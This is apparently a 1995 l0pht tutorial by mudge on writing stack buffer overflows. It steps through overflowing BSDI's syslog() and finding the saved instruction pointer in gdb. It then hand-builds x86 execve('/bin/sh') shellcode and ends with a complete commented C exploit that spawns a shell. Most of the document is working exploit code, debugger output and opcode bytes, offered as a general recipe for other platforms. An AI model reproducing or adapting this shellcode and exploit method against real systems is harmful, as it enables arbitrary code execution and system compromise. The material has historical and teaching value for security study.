l0pht

How to write Buffer Overflows

This is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn't want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this... oh well, it works and that's a hack in itself.

-by mudge@l0pht.com 10/20/95

test out the program (duh).
--------syslog_test_1.c------------





#include 





char buffer[4028];





void main() {





   int i;





   for (i=0; i<=4028; i++)


       buffer[i]='A';





   syslog(LOG_ERR, buffer);


}





--------end syslog_test_1.c----------


Compile the program and run it. Make sure you include the symbol table for the debugger or not... depending upon how macho you feel today.


bash$ gcc -g buf.c -o buf


bash$ buf


Segmentation fault (core dumped)





The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly.

Fire up gdb on the program (with or without the core file). Assuming you remove the core file (this way you can learn a bit about gdb), the steps would be as follows:


   bash$ gdb buf


   (gdb) run


   Starting program: /usr2/home/syslog/buf 





   Program received signal 11, Segmentation fault


   0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)





Ok, this is good. The 41's you see are the hex equivallent for the ascii character 'A'. We are definately going places where we shouldn't be.


   (gdb) info all-registers


   eax            0xefbfd641       -272640447


   ecx            0x00000000       0


   edx            0xefbfd67c       -272640388


   ebx            0xefbfe000       -272637952


   esp            0xefbfd238       0xefbfd238


   ebp            0xefbfde68       0xefbfde68


   esi            0xefbfd684       -272640380


   edi            0x0000cce8       52456


   eip            0x00001273       0x1273


   ps             0x00010212       66066


   cs             0x0000001f       31


   ss             0x00000027       39


   ds             0x00000027       39


   es             0x00000027       39


   fs             0x00000027       39


   gs             0x00000027       39





The gdb command 'info all-registers' shows the values in the current hardware registers. The one we are really interested in is 'eip'. On some platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands.

In the above we haven't gotten exactly where we need to be yet. If you want to see where it crashed out do the following:


(gdb) disassemble 0x1273


   [stuff deleted]


   0x1267 :   incl   0xfffff3dc(%ebp)


   0x126d :   testb  %al,%al


   0x126f :   jne    0x125c 


   0x1271 :   jmp    0x1276 


   0x1273 :   movb   %al,(%ebx)


   0x1275 :   incl   %ebx


   0x1276 :   incl   %edi


   0x1277 :   movb   (%edi),%al


   0x1279 :   testb  %al,%al





If you are familiar with microsoft assembler this will be a bit backwards to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles and on we go.

Note also that Intel assembler

let's go back and tweak the original source code some eh?


-------------syslog_test_2.c-------------





#include 





char buffer[4028];





void main() {





   int i;





   for (i=0; i<2024; i++)


       buffer[i]='A';





   syslog(LOG_ERR, buffer);


}





-----------end syslog_test_2.c-------------


We're just shortening the length of 'A''s.


   bash$ gcc -g buf.c -o buf


   bash$ gdb buf


   (gdb) run


   Starting program: /usr2/home/syslog/buf 





   Program received signal 5, Trace/BPT trap


   0x1001 in ?? (Error accessing memory address 0x41414149: Cannot 



        allocate memory.





This is the magic response we've been looking for.


   (gdb) info all-registers 


   eax            0xffffffff       -1


   ecx            0x00000000       0


   edx            0x00000008       8


   ebx            0xefbfdeb4       -272638284


   esp            0xefbfde70       0xefbfde70


   ebp            0x41414141       0x41414141   <- here it is!!!


   esi            0xefbfdec0       -272638272


   edi            0xefbfdeb8       -272638280


   eip            0x00001001       0x1001


   ps             0x00000246       582


   cs             0x0000001f       31


   ss             0x00000027       39


   ds             0x00000027       39


   es             0x00000027       39


   fs             0x00000027       39


   gs             0x00000027       39








Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of 'A''s and we will overwrite eip completely.
---------syslog_test_3.c----------------





#include 





char buffer[4028];





void main() {





   int i;





   for (i=0; i<2028; i++)


       buffer[i]='A';





   syslog(LOG_ERR, buffer);


}


-------end syslog_test_3.c------------





   bash$ !gc


   gcc -g buf.c -o buf


   bash$ gdb buf


   (gdb) run


   Starting program: /usr2/home/syslog/buf 





   Program received signal 11, Segmentation fault


   0x41414141 in errno (Error accessing memory address 


                    0x41414149: Cannot allocate memory.








   (gdb) info all-registers 


   eax            0xffffffff       -1


   ecx            0x00000000       0


   edx            0x00000008       8


   ebx            0xefbfdeb4       -272638284


   esp            0xefbfde70       0xefbfde70


   ebp            0x41414141       0x41414141


   esi            0xefbfdec0       -272638272


   edi            0xefbfdeb8       -272638280


   eip            0x41414141       0x41414141


   ps             0x00010246       66118


   cs             0x0000001f       31


   ss             0x00000027       39


   ds             0x00000027       39


   es             0x00000027       39


   fs             0x00000027       39


   gs             0x00000027       39





BINGO!!!

Here's where it starts to get interesting. Now that we know eip starts at buffer[2024] and goes through buffer[2027] we can load it up with whatever we need. The question is... what do we need?

We find this by looking at the contents of buffer[].


   (gdb) disassemble buffer


   [stuff deleted]


   0xc738 :   incl   %ecx


   0xc739 :   incl   %ecx


   0xc73a :   incl   %ecx


   0xc73b :   incl   %ecx


   0xc73c :   addb   %al,(%eax)


   0xc73e :   addb   %al,(%eax)


   0xc740 :   addb   %al,(%eax)


   [stuff deleted]





On the Intel x86 architecture [a pentium here but that doesn't matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them.

The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don't clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86's but what happens when you run into an Alpha? -- lucky for us there is a gdb for Alpha I think ;-)].

The advantage to putting the code after the eip is that you don't have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in 'C' and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots.... upon succesfully running your created code you might be dropped back into a big void. Deal with it.

The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler.

Ahhh but what if you don't know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderfull function called __asm__(char *); I rely upon this heavily for doing buffer overflows on architectures that I don't have assembler books for.


------nop.c--------


void main(){





__asm__("nop\n");





}


----end nop.c------





   bash$ gcc -g nop.c -o nop


   bash$ gdb nop


   (gdb) disassemble main


   Dump of assembler code for function main:


   to 0x1088:


   0x1080 
:  pushl  %ebp    0x1081 :        movl   %esp,%ebp    0x1083 :        nop        0x1084 :        leave      0x1085 :        ret        0x1086 :        addb   %al,(%eax)    End of assembler dump.    (gdb) x/bx 0x1083    0x1083 :  0x90
Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex).

Our program now looks like this:
------ syslog_test_4.c---------





#include 





char buffer[4028];





void main() {





   int i;





   for (i=0; i<2024; i++)


       buffer[i]=0x90;





   i=2024;





   buffer[i++]=0x3c;


   buffer[i++]=0xc7;


   buffer[i++]=0x00;


   buffer[i++]=0x00;








   syslog(LOG_ERR, buffer);


}


------end syslog_test_4.c-------





Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00.

Now the question we have is what is the code we insert from here on?

Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here's the proggie we want to execute in C code:


------execute.c--------


#include 


main()


{


   char *name[2];


   name[0] = "sh";


   name[1] = NULL;


   execve("/bin/sh",name,NULL);


}  


----end execute.c-------





   bash$ gcc -g execute.c -o execute


   bash$ execute


   $ 


 


Ok, the program works. Then again, if you couldn't whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here's the gdb scoop:


   bash$ gdb execute


   (gdb) disassemble main


   Dump of assembler code for function main:


   to 0x10b8:


   0x1088 
:  pushl  %ebp    0x1089 :        movl   %esp,%ebp    0x108b :        subl   $0x8,%esp    0x108e :        movl   $0x1080,0xfffffff8(%ebp)    0x1095 :       movl   $0x0,0xfffffffc(%ebp)    0x109c :       pushl  $0x0    0x109e :       leal   0xfffffff8(%ebp),%eax    0x10a1 :       pushl  %eax    0x10a2 :       pushl  $0x1083    0x10a7 :       call   0x10b8     0x10ac :       leave      0x10ad :       ret        0x10ae :       addb   %al,(%eax)    0x10b0 :       jmp    0x1140     0x10b5 :       addb   %al,(%eax)    0x10b7 :       addb   %cl,0x3b05(%ebp)    End of assembler dump.    (gdb) disassemble execve    Dump of assembler code for function execve:    to 0x10c8:    0x10b8 :        leal   0x3b,%eax    0x10be :      lcall  0x7,0x0    0x10c5 :     jb     0x10b0     0x10c7 :     ret        End of assembler dump.
This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch).

0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve.


   (gdb) x/10bc 0x1083


   0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'  


                       104 'h'  0 '\000'





(0x1080 contains the arguments...which I haven't been able to really clean up).

We will replace this address with the one where our string lives [when we decide where that will be].

Here's the skeleton we will use from the execve disassembly:


[main]


   0x108d :        movl   %esp,%ebp





   0x108e :        movl   $0x1083,0xfffffff8(%ebp)


   0x1095 :       movl   $0x0,0xfffffffc(%ebp)


   0x109c :       pushl  $0x0


   0x109e :       leal   0xfffffff8(%ebp),%eax


   0x10a1 :       pushl  %eax


   0x10a2 :       pushl  $0x1080





[execve]


   0x10b8 :        leal   0x3b,%eax


   0x10be :      lcall  0x7,0x0





All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn't necesary but I have it in still as I haven't fine tuned this yet.

I clean up eax. I don't remember why I do this and it shouldn't really be necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after I tune this up a bit.


   xorl   %eax,%eax





We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto the stack.


   jmp    0x????  # this will jump to the call...


   popl   %esi


   popl   %ecx





The call back will be something like:
   call   0x????  # this will point to the instruction after the jmp (ie


                  # popl %esi)





All put together it looks like this now:





----------------------------------------------------------------------


   movl   %esp,%ebp   


   xorl   %eax,%eax


   jmp    0x????  # we don't know where yet...


# -------------[main]


   movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will


                                    # be yet.


   movl   $0x0,0xfffffffc(%ebp)


   pushl  $0x0


   leal   0xfffffff8(%ebp),%eax


   pushl  %eax


   pushl  $0x????                   # we don't know what the address will


                                    # be yet.


# ------------[execve]


   leal   0x3b,%eax


   lcall  0x7,0x0





   call   0x????  # we don't know where yet...





----------------------------------------------------------------------





There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions.

Since we aren't actually calling execve with a 'call' anymore here, we need to push the value in ecx onto the stack to simulate it.
# ------------[execve]


   pushl  %ecx


   leal   0x3b,%eax


   lcall  0x7,0x0





The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].

So the whole thing looks like this (without knowing the addresses for the '/bin/sh\0' string):


   movl   %esp,%ebp 


   xorl   %eax,%eax # we added this


   jmp    0x????    # we added this


   popl   %esi      # we added this


   popl   %ecx      # we added this


   movl   $0x????,0xfffffff5(%ebp)


   movl   $0x0,0xfffffffc(%ebp)


   pushl  $0x0


   leal   0xfffffffc(%ebp),%eax  # we changed this


   pushl  %eax


   pushl  $0x????


   leal   0x3b,%eax


   pushl  %ecx       # we added this


   lcall  0x7,0x0


   call   0x????     # we added this





To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program.


   bash$ gdb execute


   (gdb) disassemble main


   Dump of assembler code for function main:


   to 0x10bc:


   0x108c 
:  pushl  %ebp    0x108d :        movl   %esp,%ebp    0x108f :        subl   $0x8,%esp    0x1092 :        movl   $0x1080,0xfffffff8(%ebp)    0x1099 :       movl   $0x0,0xfffffffc(%ebp)    0x10a0 :       pushl  $0x0    0x10a2 :       leal   0xfffffff8(%ebp),%eax    0x10a5 :       pushl  %eax    0x10a6 :       pushl  $0x1083    0x10ab :       call   0x10bc     0x10b0 :       leave      0x10b1 :       ret        0x10b2 :       addb   %al,(%eax)    0x10b4 :       jmp    0x1144     0x10b9 :       addb   %al,(%eax)    0x10bb :       addb   %cl,0x3b05(%ebp)    End of assembler dump. [get out your scratch paper for this one... ]    0x108d :        movl   %esp,%ebp    this goes from 0x108d to 0x108e. 0x108f starts the next instruction.    thus we can see the machine code with gdb like this.    (gdb) x/2bx 0x108d    0x108d :  0x89  0xe5
Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execve. Of course you will eventually need to put in the proper address.

When I work this out I break down the whole program so I can see what's going on. Something like the following


   0x108c 
:  pushl  %ebp    0x108d :        movl   %esp,%ebp    0x108f :        subl   $0x8,%esp    (gdb) x/bx 0x108c    0x108c 
:  0x55    (gdb) x/bx 0x108d    0x108d :  0x89    (gdb) x/bx 0x108e    0x108e :  0xe5    (gdb) x/bx 0x108e    0x108f :  0x83    so we see the following from this:    0x55         pushl %ebp    0x89         movl %esp,%ebp    0xe5    0x83         subl $0x8,%esp    etc. etc. etc. 
For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs.
----pop.c-------


void main() {





__asm__("popl %esi\n");





}


---end pop.c----





   bash$ gcc -g pop.c -o pop


   bash$ gdb pop


   (gdb) disassemble main 


   Dump of assembler code for function main:


   to 0x1088:


   0x1080 
:  pushl  %ebp    0x1081 :        movl   %esp,%ebp    0x1083 :        popl   %esi    0x1084 :        leave      0x1085 :        ret        0x1086 :        addb   %al,(%eax)    End of assembler dump.    (gdb) x/bx 0x1083    0x1083 :  0x5e
So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the jmp's and call's... just so long as we have the right amount of space being taken up by the jmp and call instructions... likewise for the movl's where we will need to know the memory location of 'sh\0\0/bin/sh\0'.

After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.

Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call.


   (gdb) break syslog


   Breakpoint 1 at 0x1463


   (gdb) run


   Starting program: /usr2/home/syslog/buf





   Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 


                        0xefbfdeac)


   (gdb) disassemble 0xc73c 0xc77f   


        (we know it will start at 0xc73c since thats right after the



         eip overflow... 0xc77f is just an educated guess as to where


         it will end)





   (gdb) disassemble 0xc73c 0xc77f


   Dump of assembler code from 0xc73c to 0xc77f:


   0xc73c :   movl   %esp,%ebp


   0xc73e :   xorl   %eax,%eax


   0xc740 :   jmp    0xc76b 


   0xc742 :   popl   %esi


   0xc743 :   popl   %ecx


   0xc744 :   movl   $0xc770,0xfffffff5(%ebp)


   0xc74b :   movl   $0x0,0xfffffffc(%ebp)


   0xc752 :   pushl  $0x0


   0xc754 :   leal   0xfffffffc(%ebp),%eax


   0xc757 :   pushl  %eax


   0xc758 :   pushl  $0xc773


   0xc75d :   leal   0x3b,%eax


   0xc763 :   pushl  %ecx


   0xc764 :   lcall  0x7,0x0


   0xc76b :   call   0xc742 


   0xc770 :   jae    0xc7da 


   0xc772 :   addb   %ch,(%edi)


   0xc774 :   boundl 0x6e(%ecx),%ebp


   0xc777 :   das    


   0xc778 :   jae    0xc7e2 


   0xc77a :   addb   %al,(%eax)


   0xc77c :   addb   %al,(%eax)


   0xc77e :   addb   %al,(%eax)


   End of assembler dump.





Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp' near the beginning. Our data should be right after it and indeed we see that it is.


   (gdb) x/13bc 0xc770


   0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'  


                          98 'b'  105 'i'  110 'n'  47 '/'


   0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'





Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug.


   bash$ buf


   $ exit (do whatever here... you spawned a shell!!!!!! yay!)


   bash$ 





Here's my original program with lot's of comments:


/*****************************************************************/


/* For BSDI running on Intel architecture -mudge, 10/19/95       */


/* by following the above document you should be able to write   */


/* buffer overflows for other OS's on other architectures now    */


/* mudge@l0pht.com                                               */


/*                                                               */


/* note: I haven't cleaned this up yet... it could be much nicer */


/*****************************************************************/





#include 





char buffer[4028];





void main () {





   int i;





  for(i=0; i<2024; i++)


    buffer[i]=0x90;








  /* should set eip to 0xc73c */





    buffer[2024]=0x3c;


    buffer[2025]=0xc7; 


    buffer[2026]=0x00; 


    buffer[2027]=0x00; 





  i=2028;





/* begin actuall program */








    buffer[i++]=0x89; /* movl %esp, %ebp */


    buffer[i++]=0xe5;





    buffer[i++]=0x33; /* xorl %eax,%eax */


    buffer[i++]=0xc0;





    buffer[i++]=0xeb; /* jmp ahead  */


    buffer[i++]=0x29;





    buffer[i++]=0x5e; /* popl %esi       */





    buffer[i++]=0x59; /* popl %ecx        */





    buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */


    buffer[i++]=0x45;


    buffer[i++]=0xf5;


    buffer[i++]=0x70;


    buffer[i++]=0xc7;


    buffer[i++]=0x00;


    buffer[i++]=0x00;





    buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */


    buffer[i++]=0x45;


    buffer[i++]=0xfc;


    buffer[i++]=0x00;


    buffer[i++]=0x00;


    buffer[i++]=0x00;


    buffer[i++]=0x00;





    buffer[i++]=0x6a; /* pushl $0x0 */


    buffer[i++]=0x00;





#ifdef z_out


    buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */


    buffer[i++]=0x45;


    buffer[i++]=0xf8;


#endif





/* the above is what the disassembly of execute does... but we only


   want to push /bin/sh to be executed... it looks like this leal


   puts into eax the address where the arguments are going to be


   passed. By pointing to 0xfffffffc(%ebp) we point to a null 


   and don't care about the args... could probably just load up


   the first section movl $0x0,0xfffffff8(%ebp) with a null and


   left this part the way it want's to be */





    buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */


    buffer[i++]=0x45; 


    buffer[i++]=0xfc;








    buffer[i++]=0x50; /* pushl %eax */





    buffer[i++]=0x68; /* pushl $0xc773 */


    buffer[i++]=0x73;


    buffer[i++]=0xc7;


    buffer[i++]=0x00;


    buffer[i++]=0x00;





    buffer[i++]=0x8d; /* lea 0x3b,%eax */


    buffer[i++]=0x05;


    buffer[i++]=0x3b;


    buffer[i++]=0x00;


    buffer[i++]=0x00;


    buffer[i++]=0x00;





    buffer[i++]=0x51; /* pushl %ecx */





    buffer[i++]=0x9a; /* lcall 0x7,0x0 */


    buffer[i++]=0x00;


    buffer[i++]=0x00;


    buffer[i++]=0x00;


    buffer[i++]=0x00;


    buffer[i++]=0x07;


    buffer[i++]=0x00;





    buffer[i++]=0xe8; /* call back to ??? */


    buffer[i++]=0xd2; 


    buffer[i++]=0xff;


    buffer[i++]=0xff;


    buffer[i++]=0xff;





    buffer[i++]='s';


    buffer[i++]='h';


    buffer[i++]=0x00;


    buffer[i++]='/';


    buffer[i++]='b';


    buffer[i++]='i';


    buffer[i++]='n';


    buffer[i++]='/';


    buffer[i++]='s';


    buffer[i++]='h';


    buffer[i++]=0x00;


    buffer[i++]=0x00;





    syslog(LOG_ERR, buffer);


}








Copyright 1995, 1996 LHI Technologies, All Rights Reserved